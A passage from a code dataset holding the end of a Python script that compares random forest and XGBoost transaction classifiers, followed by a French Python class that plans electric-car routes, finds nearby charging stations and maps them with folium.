Trade', 'Services to Transport', 'Education', \n         'Health and Community Services', 'Trade, Professional and Personal Services', \n         'Finance']\nrename_dict = dict(zip(list(df_similarity.columns), [\"similarity_\"+s for s in s_cates]))\ndf_similarity.rename(rename_dict, inplace=True, axis='columns')\n\n\n# Dealing with underflow\ndef simchar(x):\n    if abs(x)<=0.05:\n        return 0\n    else:\n        return x\nfor col in df_similarity:\n    df_similarity[col] = df_similarity[col].apply(simchar)\ndf1 = df_similarity.copy()\nX1 = df1\nX_train, X_test, y_train, y_test = train_test_split(X1, y, test_size=0.33, random_state=42)\ntestIdxes= list(X_test)\n\n# Random Forest\nclf = RandomForestClassifier(max_depth=10, random_state=0)\nclf.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, clf.feature_importances_))\nfeatures_importance_RF[ks[cur]] = importance_dict\nRFs[ks[cur]] = clf \ny_pred = clf.predict(X_test)\nerrorIdxes = []\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Random Forest accuracy:\", n/len(y_pred))\nerrorIdx_RF[ks[cur]] = errorIdxes\n\n\n# xgboost\nxgbc = XGBClassifier()\nxgbc.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, xgbc.feature_importances_))\nfeatures_importance_XGB[ks[cur]] = importance_dict\nXGBs[ks[cur]] = xgbc\ny_pred = xgbc.predict(X_test)\nerrorIdxes=[]\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Xgboost accuracy:\", n/len(y_pred))\nerrorIdx_XGB[ks[cur]] = errorIdxes\n\n\n# 2: Without raw features, embeddings only\nprint(\"---*---\\n Without raw features, embeddings only\\n---*---\")\ncur=2\nrename_dict = dict(zip(list(df_embeddings.columns), ['embeddings_'+str(i) for i in list(df_embeddings.columns)]))\n\ndf2 = df_embeddings.rename(rename_dict, axis='columns')\nX1 = df2\nX_train, X_test, y_train, y_test = train_test_split(X1, y, test_size=0.33, random_state=42)\ntestIdxes= list(X_test)\n\n# Random Forest\nclf = RandomForestClassifier(max_depth=10, random_state=0)\nclf.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, clf.feature_importances_))\nfeatures_importance_RF[ks[cur]] = importance_dict\nRFs[ks[cur]] = clf \ny_pred = clf.predict(X_test)\nerrorIdxes = []\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Random Forest accuracy:\", n/len(y_pred))\nerrorIdx_RF[ks[cur]] = errorIdxes\n\n\n# xgboost\nxgbc = XGBClassifier()\nxgbc.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, xgbc.feature_importances_))\nfeatures_importance_XGB[ks[cur]] = importance_dict\nXGBs[ks[cur]] = xgbc\ny_pred = xgbc.predict(X_test)\nerrorIdxes=[]\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Xgboost accuracy:\", n/len(y_pred))\nerrorIdx_XGB[ks[cur]] = errorIdxes\n\n\n\n# 3: With raw features and similarities\nprint(\"---*---\\n With raw features and similarities \\n---*---\")\ncur=3\ndf_addl = pd.concat([df_raw, df_similarity], axis=1)\n\n# X1 = df_raw[['amt'] + cols + ['most_similar']]\ndf3 = df_addl[['amt'] + cols + list(df_similarity.columns)]\nX1=df3\nX_train, X_test, y_train, y_test = train_test_split(X1, y, test_size=0.33, random_state=42)\ntestIdxes= list(X_test)\n\n# Random Forest\nclf = RandomForestClassifier(max_depth=10, random_state=0)\nclf.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, clf.feature_importances_))\nfeatures_importance_RF[ks[cur]] = importance_dict\nRFs[ks[cur]] = clf \ny_pred = clf.predict(X_test)\nerrorIdxes = []\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Random Forest accuracy:\", n/len(y_pred))\nerrorIdx_RF[ks[cur]] = errorIdxes\n\n\n# xgboost\nxgbc = XGBClassifier()\nxgbc.fit(X_train, y_train)\nimportance_dict = dict(zip(X1.columns, xgbc.feature_importances_))\nfeatures_importance_XGB[ks[cur]] = importance_dict\nXGBs[ks[cur]] = xgbc\ny_pred = xgbc.predict(X_test)\nerrorIdxes=[]\nn=0\nfor idx,yt in enumerate(y_test):\n    if yt==y_pred[idx]:\n        n+=1\n    else:\n        errorIdxes.append(idx)\nprint( \"Xgboost accuracy:\", n/len(y_pred))\nerrorIdx_XGB[ks[cur]] = errorIdxes\n\n\nresults = {}\nresults[\"directory\"] = ks\nresults[\"models\"]={}\nresults[\"models\"][\"random_forest\"] = RFs\nresults[\"models\"][\"xgboost\"] = XGBs\n\nresults[\"error_indexes\"]={}\nresults[\"error_indexes\"][\"random_forest\"] = errorIdx_RF\nresults[\"error_indexes\"][\"xgboost\"] = errorIdx_XGB\n\nresults[\"features_importance\"]={}\nresults[\"features_importance\"][\"random_forest\"] = features_importance_RF\nresults[\"features_importance\"][\"xgboost\"] = features_importance_XGB\n\n\nfilename = 'multi_model_results.pkl'\npickle.dump(results, open(filename, 'wb'))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "boyuanzheng010/transaction_classification", "sub_path": "multi_models.py", "file_name": "multi_models.py", "file_ext": "py", "file_size_in_byte": 7429, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 56, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 74, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 116, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 158, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 162, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 180, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 201, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 206, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 210, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 228, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 261, "usage_type": "call"}]}
{"seq_id": "27945656203", "text": "# Imports \nimport pandas as pd\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport pyroutelib3\nfrom pyroutelib3 import Router\nimport requests, json\nimport urllib.parse\nimport folium \nimport geopy.distance \nfrom geopy.distance import geodesic\nfrom folium.plugins import MousePosition\nimport folium\nimport os \n\n\n\n# Coordonnées des villes en France \n\n# Liste des colonnes de df : ['insee_code', 'city_code', 'zip_code', 'label', 'latitude', 'longitude', \n#                            'department_name', 'department_number', 'region_name', 'region_geojson_name']\n\n\nclass CarNetwork():\n    \"\"\"\n    Classe qui calcul le trajet optimal pour relier un point A à un point B avec une voiture électrique en France.\n\n    Parameters:\n    -----------\n    A : adresse de départ  / format : numéro, rue, code postal ville (en minuscule)\n    B : adresse d'arrivée / format : numéro, rue, code postal ville (en minuscule)\n    Autonomie : Autonomie du véhicule utilisé\n    --> on précise l'autonomie car si celle-ci est supérieure à la distance totale, \n    alors rien ne sert d'optimiser le trajet.\n\n    Attributes:\n    -----------\n    x_A : (latitude, longitude) du point A\n    x_B : (latitude, longitude) du point B\n    df : base de données sur laquelle repose la classe. On la défini à partir d'un URL\n    distance : distance between point A and point B that is computed afterwards\n    Methods:\n    --------\n    get_coordo : permet de récupérer x_A et x_B\n    calcul_distance_haversine : permet de calculer une distance à vol d'oiseau\n    \"\"\"\n\n    def __init__(self, A = None, B = None, autonomie = None):\n        self.A = A\n        self.B = B\n        self.autonomie = autonomie\n        self.x_A = None\n        self.x_B = None\n        self.distance = None\n        self.stations_data = pd.read_csv('https://www.data.gouv.fr/fr/datasets/r/517258d5-aee7-4fa4-ac02-bd83ede23d25', sep = ';')\n\n    def clean_data(self):\n        '''\n        Les coordonnées de longitude > 90 ou de latitude > 90 sont inutiles car elles dépassent les limites \n        des valeurs possibles pour la longitude (de -180 à 180) et la latitude (de -90 à 90) sur la surface \n        de la Terre, et donc, elles sont généralement considérées comme des données incorrectes. \n        La routine supprime ces données du dataframe.\n        '''\n\n        liste = []\n    \n        for row in self.stations_data.itertuples():\n\n            if row.xlongitude > 90 or row.ylatitude > 90:\n                liste.append(row.Index)\n\n        self.stations_data.drop(liste)\n\n        # we clean the dataframe \n\n        droping_liste = list(set(self.stations_data[self.stations_data['xlongitude'].isna()].index.to_list() + self.stations_data[self.stations_data['ylatitude'].isna()].index.to_list()))\n        self.stations_data.drop(droping_liste, inplace = True)\n\n        # Supprimer les lignes où toutes les valeurs sont les mêmes\n        self.stations_data.drop_duplicates()\n\n        # we transform the acces row in the dataframe by defining \n        # a function that we will then apply to the \"acces_recharge\" row\n\n        def transform_acces(row):\n            if not pd.isna(row):  # On ne peut rien dire des nan\n                row = row.lower()  # Mettre en lettre minuscule \n                mots = row.split(' ')\n                if 'payant' in mots: row = 'payant'\n                elif 'gratuit' in mots: row = 'gratuit'\n                for mot in mots: \n                    if len(mot.split('€'))>1: row = 'payant'\n                    if mot=='carte' or mot=='badge': row = 'carte ou badge'\n                    if mot=='oui': row = 'information manquante'\n                #else: row = 'accès spécial'\n            else: row = 'information manquante'\n            return row\n        \n        self.stations_data['acces_recharge'] = self.stations_data['acces_recharge'].apply(transform_acces)\n        list(self.stations_data['acces_recharge'].unique())\n\n\n    def get_coordo(self):\n        \"\"\"\n        Permet de renvoyer (latitude,longitude)\n        \"\"\"\n        dep_json_A = requests.get(\"https://api-adresse.data.gouv.fr/search/?q=\" + urllib.parse.quote(self.A) + \"&format=json\").json()\n        dep_json_B = requests.get(\"https://api-adresse.data.gouv.fr/search/?q=\" + urllib.parse.quote(self.B) + \"&format=json\").json()\n        self.x_A = list(dep_json_A['features'][0].get('geometry').get('coordinates'))\n        self.x_B = list(dep_json_B['features'][0].get('geometry').get('coordinates'))\n\n\n    def trajet_voiture(self):\n    \n\n        \"\"\"\n        ================================================================\n        IDÉE : Fonction qui calcule l'itinéraire en voiture entre deux \n               adresses en utilisant l'API d'adresse gouvernementale et \n               la bibliothèque pyroutelib3.\n\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        ================================================================\n\n        ================================================================\n        SORTIE : Liste de coordonnées (latitude, longitude) représentant \n                 l'itinéraire en voiture.\n        ================================================================\n\n        \n        \n        Note: Il est recommandé d'inclure le code de la fonction get_cordo dans cette routine au cas où\n        l'utilisateur utilise la méthode trajet_voiture avant celle get_cordo. Dans ce cas, les transformations\n        sur self.x_A et self.x_B n'auraient pas été faites.\n\n        \"\"\"\n\n\n        ## Il faut inclure le code de get_cordo dans le code de cette routine au cas où l'utilisateur \n        # utilise la méthode trajet_voiture avant celle get_cordo auquel cas les transformations sur \n        # self.x_A et self.x_B n'auraient pas été faites. \n\n        dep_json_A = requests.get(\"https://api-adresse.data.gouv.fr/search/?q=\" + urllib.parse.quote(self.A) + \"&format=json\").json()\n        dep_json_B = requests.get(\"https://api-adresse.data.gouv.fr/search/?q=\" + urllib.parse.quote(self.B) + \"&format=json\").json()\n        self.x_A = list(dep_json_A['features'][0].get('geometry').get('coordinates'))\n        self.x_B = list(dep_json_B['features'][0].get('geometry').get('coordinates'))\n\n        coord_dep = self.x_A \n        coord_arr = self.x_B\n        router = pyroutelib3.Router('car')\n        depart = router.findNode(coord_dep[1], coord_dep[0])\n        #print(depart)\n        arrivee = router.findNode(coord_arr[1], coord_arr[0])\n        #print(arrivee)\n\n        routeLatLons=[coord_dep,coord_arr]\n\n        status, route = router.doRoute(depart, arrivee)\n\n        if status == 'success':\n            #print(\"Votre trajet existe\")\n            routeLatLons = list(map(router.nodeLatLon, route))\n        #else:\n            #print(\"Votre trajet n'existe pas\")\n\n        return routeLatLons\n    \n    def get_route_map(self):\n\n        \"\"\"\n\n        ================================================================\n        IDÉE : Fonction qui génère une carte représentant l'itinéraire \n               en voiture entre deux destinations, centrée sur Paris, \n               avec l'itinéraire tracé en rouge.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        ================================================================\n\n        ================================================================\n        SORTIE : Objet carte Folium représentant l'itinéraire.\n        ================================================================\n\n        \"\"\"\n\n        ## On récupère les coordonnées de Paris pour centrer la carte\n        #  sur Paris\n        trajet = self.trajet_voiture()\n        paris_coord = [48.8566, 2.3522]\n\n        # Crée une carte centrée sur Paris\n        carte = folium.Map(location=paris_coord, zoom_start=13)\n\n\n        # Représenter le point de départ et le point d'arrivée \n        # Pour le point de départ\n        folium.Marker(\n            location=trajet[0],\n            popup=self.A,\n            icon=folium.Icon(icon='home', prefix='fa', color='blue'),\n            tooltip=self.A\n        ).add_to(carte)\n\n\n        # Pour le point d'arrivée \n        folium.Marker(\n            location=trajet[-1],\n            popup=self.B,\n            icon=folium.Icon(icon='flag', prefix='fa', color='red'),\n            tooltip=self.B\n        ).add_to(carte)\n\n        # Trace l'itinéraire\n        \"\"\"folium.PolyLine(locations=trajet, color='red').add_to(carte)\"\"\"\n\n        folium.plugins.AntPath(\n            locations=trajet, \n            reverse=\"True\", \n            dash_array=[20, 30]\n        ).add_to(carte)\n\n        carte.fit_bounds(carte.get_bounds())\n\n        # Paramétrer le plein écran sur la carte\n        folium.plugins.Fullscreen(\n            position=\"bottomleft\",\n            title=\"Expand me\",\n            title_cancel=\"Exit me\",\n            force_separate_button=True,\n        ).add_to(carte)\n        \n        # Permet à l'utilisateur d'afficher la localisation du point sur \n        # lequel sa souris pointe\n        MousePosition().add_to(carte)\n\n        # Pour des raisons pratiques, on se restreint ici aux\n        # localisations en île-de-France\n\n        # On récupère les localisations des frontières de l'île-de-France \n        # sur le site https://france-geojson.gregoiredavid.fr/\n        geojson_url = 'https://france-geojson.gregoiredavid.fr/repo/regions/ile-de-france/region-ile-de-france.geojson'\n    \n\n        # C'est une fonction définie par l'utilisateur qui prend \n        # en argument un élément géographique (ou une \"feature\") \n        # du GeoJSON et renvoie un dictionnaire spécifiant le style \n        # à appliquer à cet élément.\n        def style_function(feature):\n            return {\n                'fillOpacity': 0,  # Ajuster la transparence ici (0 pour transparent, 1 pour opaque)\n                'weight': 2, # contour bleu avec une épaisseur de 2\n                'color': 'blue'\n            }\n        \n        # Cette fonction de Folium est utilisée pour charger le \n        # fichier GeoJSON depuis l'URL spécifiée (geojson_url). \n        folium.GeoJson(\n            geojson_url,\n            name='Île-de-France', \n            style_function=style_function, \n            popup=\"Limites de l'île-de-France\"\n        ).add_to(carte)\n\n        # Affiche la carte dans le notebook\n        return carte\n    \n    def distance_via_routes(self):\n\n        \"\"\"\n\n        ================================================================\n        IDÉE : Fonction qui calcule la distance totale d'un trajet en \n               voiture entre deux destinations, tout en identifiant les \n               points d'arrêt potentiels où l'autonomie de la voiture ne \n               suffit plus.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        ================================================================\n\n        ================================================================\n        SORTIE : Tuple contenant la distance totale du trajet en voiture \n                 et une liste de coordonnées représentant les points \n                 d'arrêt potentiels où l'autonomie de la voiture ne suffit \n                 plus.\n        ================================================================\n\n        \"\"\"\n\n        ## On récupère le trajet en voiture entre les deux destinations \n        # A et B\n        trajet = self.trajet_voiture()\n\n        distance = 0\n        distance_1 = 0 ## we use this double variable in the if\n        # condition to remove the autonomy\n        j = 0\n\n        stop_coord = []\n\n        for i in range(len(trajet)-1):\n        \n            ## on convertit l'élément i de la liste trajet, \n            # qui est un tuple, en une liste\n            trajet_depart = list(trajet[i]) \n            trajet_arrivee = list(trajet[i+1])\n\n            d = geopy.distance.distance(trajet_depart, trajet_arrivee).kilometers\n\n            distance = distance + d\n            distance_1 = distance \n            distance_1 = distance_1 - j*self.autonomie\n\n            ## On fait d'une pierre deux coup dans ce code en calculant \n            #  une liste qui renvoie les premiers points à partir desquels \n            #  l'autonomie ne couvre plus la distance. \n\n            if self.autonomie < distance_1:\n                stop_coord.append(list(trajet[i]))\n                j = j + 1 # compte combien de fois l'autonomie a été saturée pour pénaliser \n                          # la distance_1 sur toutes les boucles à partir de là\n\n        self.distance = distance \n\n\n        return distance, stop_coord\n    \n    def plot_stop_points(self, map):\n\n        \"\"\"\n\n        ================================================================\n        IDÉE : Fonction pour représenter graphiquement sur une carte les \n               points d'arrêt du réseau, en utilisant des marqueurs de \n               couleur violette.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        -map : Objet carte Folium sur laquelle les points d'arrêt seront \n               représentés.\n\n        ================================================================\n\n        ================================================================\n        SORTIE : La carte Folium mise à jour avec des marqueurs violets \n                 représentant les points d'arrêts les plus proches.\n        ================================================================\n\n        \"\"\"\n\n        # Appel à la fonction distance_via_routes pour obtenir les distances et les coordonnées des points d'arrêt\n        distance, stop_coord = self.distance_via_routes()\n\n        # Itération sur chaque point d'arrêt\n        for i in range(len(stop_coord)):\n            lat = stop_coord[i][0]\n            lon = stop_coord[i][1]\n\n\n            folium.Marker(\n                location=[lat, lon],\n                icon=folium.Icon(icon=f'{i}', prefix='fa', color='purple'),\n                popup=f\"Arrêt numéro {i} : vous devez recharger votre batterie.\",\n                tooltip=f\"Arrêt numéro {i} : vous devez recharger votre batterie.\"\n                ).add_to(map)\n            \n        \n\n    def nearest_stations(self, stop_coord, distance_max): \n\n        \"\"\"\n\n        ================================================================\n        IDÉE : Fonction qui identifie et renvoie les stations les plus \n               proches pour chaque point d'arrêt donné,dans une plage de \n               distance spécifiée.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        -stop_coord : Liste des coordonnées (latitude, longitude) des \n                      points d'arrêt. Tel que rendu par distance_via_routes\n\n        -distance_max : Distance maximale (en kilomètres) à partir de \n                        laquelle une station est considérée comme \"proche\".\n        ================================================================\n\n        ================================================================\n        SORTIE : Liste de listes, où chaque sous-liste représente les \n                 coordonnées des stations les plus proches pour un point \n                 d'arrêt donné.\n        ================================================================\n\n        \"\"\"\n\n        # Extraction des coordonnées des stations du DataFrame self.stations_data\n        stations = self.stations_data[['xlongitude', 'ylatitude']]\n        stations = stations[(stations['ylatitude'] >= -90) & (stations['ylatitude'] <= 90) &\n            (stations['xlongitude'] >= -90) & (stations['xlongitude'] <= 90)]\n\n        ## On récupère uniquement les données qui nous intéressent sous forme \n        # de tuple de localisations (latitude, longitude)   \n        loc_tuples = [(row.ylatitude, row.xlongitude) for row in stations.itertuples()]\n    \n        ## on définit une lambda fonction qui prend en argument une distance, \n        # un couple (latitude, longitude) [dans coord] et un float distance_max\n        # et qui teste si la distance entre location et coord est inférieure (renvoie\n        # alors True) à la distance_max\n        is_in_range = lambda location, coord, distance: geodesic(location, coord).kilometers <= distance\n\n\n        ## On instancie une liste vide qu'on remplira des stations les plus proches pour chaque \n        # point d'arrêt\n        nearest_stations = []\n        for i in range(len(stop_coord)):\n\n            location = stop_coord[i]\n                   \n            # Filtrage des stations qui sont dans la plage de distance pour le point d'arrêt actuel\n            location_tuples = [list(element) for element in loc_tuples if is_in_range(location, element, distance_max)]\n\n            # Ajout des stations filtrées à la liste des stations les plus proches\n            nearest_stations.append(location_tuples)\n\n        return nearest_stations\n\n    def plot_nearest_stations(self, map, nearest_stations):\n\n        \"\"\" \n        ================================================================\n        IDÉE : Fonction permettant de représenter graphiquement sur une \n               carte toutes les stations les plus proches associées à des \n               points d'arrêt donnés.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        -map : objet de type folium map, tel que renvoyé par get_route_map\n               ou plot_stop_points\n\n        -nearest_stations : liste de longueur égale au nombre d'arrêt \n                            sur le trajet. Chaque élément correspond \n                            lui-même à une liste de liste contenant les \n                            localisations des stations les plus proches\n        ================================================================\n\n        ================================================================\n        SORTIE : La carte Folium mise à jour avec des marqueurs représentant \n                 les stations les plus proches.\n        ================================================================\n\n        \"\"\"\n         \n        df = self.stations_data\n        for i in range(len(nearest_stations)):\n    \n            ## On récupère les localisations de toutes les bornes les \n            # plus proches du i-ème point d'arrêt \n            nearest_stations_i = nearest_stations[i]\n\n            ## On itère sur cette première liste pour représenter toutes les\n            # stations les plus proches \n            for j in range(len(nearest_stations_i)):\n                lat = nearest_stations_i[j][0] ## longitude\n                lon = nearest_stations_i[j][1] ##  latitude\n\n                ## On essaie de déterminer si cette borne est payante ou non, \n                #  et son type d'accès\n                result =  df[(df['xlongitude'] == lon) & (df['ylatitude'] == lat)]\n\n                acces_type = result['acces_recharge'].unique()[0]\n\n                folium.Marker(\n                location=[lat, lon],\n                icon=folium.Icon(color='yellow'),\n                popup=f\"Ceci est l'une des {len(nearest_stations_i)} bornes les plus proches de l'arrêt numéro {i}. Son type est {acces_type}\",\n                tooltip=f\"Ceci est l'une des {len(nearest_stations_i)} bornes les plus proches de l'arrêt numéro {i}. Son type est {acces_type}\"\n                ).add_to(map)\n\n    def plot_stations(self, map):\n\n        \"\"\" \n        ================================================================\n        IDÉE : Fonction permettant de représenter graphiquement sur une \n               carte folium toutes les stations dont on dispose dans notre \n               base de données en attribut.\n        ================================================================\n\n        ================================================================\n        PARAMÈTRES : \n\n        -map : objet de type folium map, tel que renvoyé par get_route_map\n               ou plot_stop_points\n        \n        -idf : vaut par défaut True, indique si l'on représente uniquement \n               les bornes en Île-de-France\n\n        -distance : vaut par défaut True, indique si l'on indique la distance\n               sur la carte\n\n        ================================================================\n\n        ================================================================\n        SORTIE : La carte Folium mise à jour avec des marqueurs représentant \n                 toutes les stations de recharge de véhicules électrique en \n                 France.\n        ================================================================\n\n        \"\"\"\n        # On s'assure self.distance is défini avant de l'utiliser\n        if self.distance is None:\n            # If not set, calculate it\n            self.distance, _ = self.distance_via_routes()\n\n        # On récupère les données sur lesquelles on travaille, \n        # puisque l'on a restreint notre travail à l'Île-de-France, il \n        # faut restreindre le dataframe que l'on utilise aux bornes situées en \n        # Île-de-France. \n\n        #### Étape 1 : charger le dataframe contenant les localisations des limites de l'Île-de-France ####\n        # URL du fichier GeoJSON\n        geojson_url = 'https://france-geojson.gregoiredavid.fr/repo/regions/ile-de-france/region-ile-de-france.geojson'\n\n        # Charger le GeoDataFrame à partir de l'URL\n        gdf = gpd.read_file(geojson_url)\n\n        # Extraire les coordonnées de tous les points du polygone dans une colonne 'Coordinates'\n        gdf['Coordinates'] = gdf['geometry'].apply(lambda x: list(x.exterior.coords))\n\n        # Créer une liste de toutes les coordonnées\n        all_coords = [coord for sublist in gdf['Coordinates'] for coord in sublist]\n\n        # Créer un DataFrame à partir de la liste de toutes les coordonnées\n        df1 = pd.DataFrame(all_coords, columns=['Longitude', 'Latitude'])\n\n        #### Étape 2 : récupérer les coordonnées de toutes les bornes en France\n        df2 = self.stations_data[['xlongitude', 'ylatitude']]\n\n        # On renomme les colonnes pour rendre les choses plus commodes\n        df2.rename(columns={'xlongitude': 'Longitude', 'ylatitude': 'Latitude'}, inplace=True)\n        \n        # On inclut une qui vérifie si les bornes sont dans la région \n        # et renvoie un dataframe contenant toutes les localisations des\n        # bornes en Île-de-France \n\n        def bornes_dans_region(df1, df2):\n            def point_inside_polygon(x, y, poly):\n                n = len(poly)\n                inside = False\n                p1x, p1y = poly[0]\n                for i in range(1, n + 1):\n                    p2x, p2y = poly[i % n]\n                    if y > min(p1y, p2y):\n                        if y <= max(p1y, p2y):\n                            if x <= max(p1x, p2x):\n                                if p1y != p2y:\n                                    xinters = (y - p1y) * (p2x - p1x) / (p2y - p1y) + p1x\n                                    if p1x == p2x or x <= xinters:\n                                        inside = not inside\n                    p1x, p1y = p2x, p2y\n                return inside\n            \n            # Convertir les frontières en une liste de tuples\n            region_poly = list(zip(df1['Latitude'], df1['Longitude']))\n            \n            # Filtrer les bornes électriques qui sont à l'intérieur de la région\n            df3 = df2[[point_inside_polygon(lat, lon, region_poly) for lat, lon in zip(df2['Latitude'], df2['Longitude'])]]\n            \n            return df3\n\n        # On applique cette fonction pour récupérer les bornes qui nous intéressent\n        df3 = bornes_dans_region(df1, df2) \n\n        # Finalement, on ne garde que les données de ces bornes \n        df = self.stations_data.loc[df3.index]\n        distance = float(self.distance)\n\n        legend_html = f\"\"\"\n                <div style=\"position: fixed; \n                            top: 10px; \n                            right: 10px; \n                            width: 220px; \n                            background-color: rgba(255, 255, 255, 0.8); \n                            border: 2px solid #000; \n                            border-radius: 5px; \n                            box-shadow: 3px 3px 5px #888; \n                            z-index: 1000; padding: 10px; font-size: 14px; font-family: Arial, sans-serif;\">\n                    <p style=\"text-align: center; font-size: 18px;\"><strong>Légende de la Carte</strong></p>\n                    \n                    <p><i class=\"fa fa-stop\" style=\"color: red; font-size: 20px;\"></i> <strong>Payant</strong></p>\n                    \n                    <p><i class=\"fa fa-stop\" style=\"color: green; font-size: 20px;\"></i> <strong>Gratuit</strong></p>\n                    \n                    <p><i class=\"fa fa-stop\" style=\"color: grey; font-size: 20px;\"></i> <strong>Informations manquantes</strong></p>\n                    \n                    <p><i class=\"fa fa-stop\" style=\"color: cyan; font-size: 20px;\"></i> <strong>Carte ou badge</strong></p>\n                    \n                    <p><i class=\"fa fa-stop\" style=\"color: yellow; font-size: 20px;\"></i> <strong>Gratuit de 12-14h et de 19h-21h</strong></p>\n                    \n                    <p><i class=\"fa fa-map-marker\" style=\"color: purple; font-size: 20px;\"></i> <strong>Points d'arrêt</strong></p>\n\n                    Distance du trajet : <strong> {distance:.2f} km</strong> <br> \n                </div>\n        \"\"\"\n\n        # Ajoutez la légende personnalisée à la carte\n        map.get_root().html.add_child(folium.Element(legend_html))\n\n        ## C.f. la documentation folium disponible ici pour justifier l'exemple \n        ## 'https://python-visualization.github.io/folium/latest/user_guide/plugins/tag_filter_button.html'\n\n        for index, lat, lon, com, acces_recharge in df[['ylatitude', 'xlongitude', 'n_station', 'acces_recharge']].itertuples():\n            # Créez un marqueur avec une couleur différente en fonction des valeurs\n            if acces_recharge == 'payant': fill_color = 'red'\n            elif acces_recharge == 'gratuit': fill_color = 'green'\n            elif acces_recharge == 'information manquante': fill_color = 'grey'\n            elif acces_recharge == 'carte ou badge': fill_color = 'cyan'\n            elif acces_recharge == 'charges gratuites de 12 à 14h et de 19h à 21h': fill_color = 'yellow'\n\n            # Ajoutez le marqueur à la carte\n\n            folium.RegularPolygonMarker(\n                location=[lat,lon],\n                popup=com,\n                tooltip=com,\n                fill_color=fill_color, \n                color=fill_color, # Couleur des contours du polygone                    rotation=45,\n                radius=5  # Opacité du remplissage\n            ).add_to(map)\n\n    def plot_accidents(self, map):\n\n        cwd=os.getcwd()\n        accidents_2022idf_path=os.path.join(cwd,\"accidents_2022_idf.xlsx\")\n\n        accidents_2022idf_carac=pd.read_excel(accidents_2022idf_path)\n\n        #reshape des data\n        accidents_2022idf_carac[\"Latitude\"]=accidents_2022idf_carac[\"Latitude\"].str.replace(',','.').astype(float)\n        accidents_2022idf_carac[\"Longitude\"]=accidents_2022idf_carac[\"Longitude\"].str.replace(',','.').astype(float)\n\n        #on trie les données d'accident en fonction de leur localisation\n        dict_accidents_2022idf = accidents_2022idf_carac.groupby([\"Commune\",\"Adresse\"]).groups\n        #on trie le dictionnaire obtenu\n        dict_trie_accidents_2022idf=dict(sorted(dict_accidents_2022idf.items(),key=lambda item : len(item[1]),reverse=True))\n\n\n        map=folium.Map([48.866667,2.333333],zoom_start=12)\n        #on affiche les 25 localisations avec le plus d'accidents en Idf\n        i=0\n        for key in dict_trie_accidents_2022idf.keys():\n            list1=[]\n            for elem in dict_trie_accidents_2022idf[key]:\n                list1.append(accidents_2022idf_carac.iloc[elem][\"Latitude\"])\n                m1,m2=list1.index(min(list1)),list1.index(max(list1))\n                #on affiche une ligne entre les points les plus éloignés\n            coord_ligne1=[accidents_2022idf_carac.iloc[dict_trie_accidents_2022idf[key][m1]]['Longitude'],accidents_2022idf_carac.iloc[dict_trie_accidents_2022idf[key][m1]]['Latitude']]\n            coord_ligne2=[accidents_2022idf_carac.iloc[dict_trie_accidents_2022idf[key][m2]]['Longitude'],accidents_2022idf_carac.iloc[dict_trie_accidents_2022idf[key][m2]]['Latitude']]\n            folium.PolyLine([coord_ligne1,coord_ligne2],\n                            popup=key,\n                            weight = 0.7 * len(dict_trie_accidents_2022idf[key]/len(dict_trie_accidents_2022idf[('93066 - Saint-Denis','AUTOROUTE A1')]))\n                            ).add_to(map)\n            i=i+1\n            if i > 25:\n                break\n            \n\n\n    def cout_distance_thermique(self, prix_essence, essence = True):\n        \"\"\" \n        Parameters:\n        -----------\n        dist : une distance (en kilomètres)\n        prix_essence : prix de l'essence à une date t (exemple : 1.8€/l)\n        essence : True par défaut (si False, signifie que c'est un véhicule Diesel)\n        -----------\n        N.B : \n        En 2021, une voiture particulière essence consommait en moyenne 7,54 litres pour parcourir 100 kilomètres \n        contre 6,11 pour les voitures diesel.\n        -----------\n        return : \n        -----------\n        coût pour parcourir la distance \n        \"\"\"\n\n        prix_essence = 1.85\n\n        distance, _ = 